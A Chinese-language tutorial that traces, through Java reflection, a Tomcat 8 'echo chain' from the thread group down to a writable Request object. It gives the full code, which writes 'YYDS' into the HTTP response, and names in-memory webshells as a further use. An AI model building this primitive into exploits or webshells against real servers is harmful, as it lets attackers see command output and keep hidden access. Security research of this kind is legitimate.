挖掘Tomcat8回显链过程
字数 1249 2025-08-24 07:48:33
Tomcat8回显链挖掘与分析教学文档
一、工具与环境准备
1.1 所需工具
- IDEA:用于Java应用开发和调试
- 内存对象搜索工具:用于在Java应用运行时搜索内存中的特定对象
1.2 环境搭建
- 创建一个Tomcat的Web环境
- 将相关工具直接放到Tomcat的lib目录下加载
二、回显链挖掘过程
2.1 设置断点与搜索代码
- 在doGet方法的第一行设置断点
- 在断点处插入以下搜索代码:
// 设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
// 定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("D:\\");
searcher.searchObject();
2.2 分析搜索结果
执行完毕后会在指定路径生成报告文件,报告展示了如何通过Thread依次获取requests对象。
三、代码分析与实现
3.1 获取Request对象链
以下是完整的回显链实现代码:
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field ths = null;
try {
ths = threadGroup.getClass().getDeclaredField("threads");
ths.setAccessible(true);
Thread[] thread1 = (Thread[]) ths.get(threadGroup);
for (int i = 0; i < thread1.length; i++) {
Thread threadtemp = thread1[i];
if (threadtemp.getName().contains("Acceptor")) {
Field target = threadtemp.getClass().getDeclaredField("target");
target.setAccessible(true);
Field field1 = target.get(threadtemp).getClass().getDeclaredField("this$0");
field1.setAccessible(true);
Object e = field1.get(target.get(threadtemp));
Field field = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
field.setAccessible(true);
Object handle = field.get(e);
Field global = handle.getClass().getDeclaredField("global");
global.setAccessible(true);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(handle);
Field process = requestGroupInfo.getClass().getDeclaredField("processors");
process.setAccessible(true);
List<RequestInfo> requestInfos = (List<RequestInfo>) process.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : requestInfos) {
Request request1 = (Request) req.get(requestInfo);
if (req.get(requestInfo) != null) {
org.apache.catalina.connector.Request request2 =
(org.apache.catalina.connector.Request) ((Request) (req.get(requestInfo))).getNote(1);
request2.getResponse().getWriter().write("YYDS");
}
}
}
}
} catch (NoSuchFieldException | IOException | ClassNotFoundException | IllegalAccessException e) {
e.printStackTrace();
}
3.2 关键步骤解析
-
获取线程组和线程列表:
- 通过
Thread.currentThread().getThreadGroup()获取当前线程组 - 反射获取线程组的
threads字段,得到所有线程数组
- 通过
-
查找Acceptor线程:
- 遍历线程数组,查找名称包含"Acceptor"的线程
- 这些线程负责处理Tomcat的连接请求
-
获取Endpoint和Handler:
- 通过反射获取线程的
target对象 - 获取
target对象的this$0字段,这是对Endpoint的引用 - 获取Endpoint的
handler字段
- 通过反射获取线程的
-
获取Request信息:
- 从handler中获取
global字段,得到RequestGroupInfo - 从
RequestGroupInfo中获取processors列表,包含RequestInfo对象
- 从handler中获取
-
获取可回显的Request:
- 从
RequestInfo中获取req字段 - 注意:存在两个Request对象,一个可回显,一个不可回显
- 通过
getNote(1)获取可回显的Request对象
- 从
3.3 重要注意事项
-
RequestInfo数量问题:
- 环境中可能存在多个RequestInfo对象
- 第一个RequestInfo的Request可能为null,需要进行非空判断
-
Request对象类型:
org.apache.coyote.Response没有getWriter()方法- 需要通过
getNote(1)获取org.apache.catalina.connector.Request对象才能回显
-
反射技巧:
- 需要熟练掌握Java反射API
- 注意处理各种异常情况
四、总结
-
该技术通过线程组→Acceptor线程→Endpoint→Handler→RequestGroupInfo→RequestInfo的链式反射调用,最终获取到可回显的Request对象。
-
关键在于理解Tomcat内部的对象结构和关系,以及如何通过反射访问这些对象。
-
实际应用中需要注意环境差异(如RequestInfo数量)和对象类型的转换。
-
掌握这种技术不仅可以用于回显构造,还可用于Java内存Webshell等高级利用场景。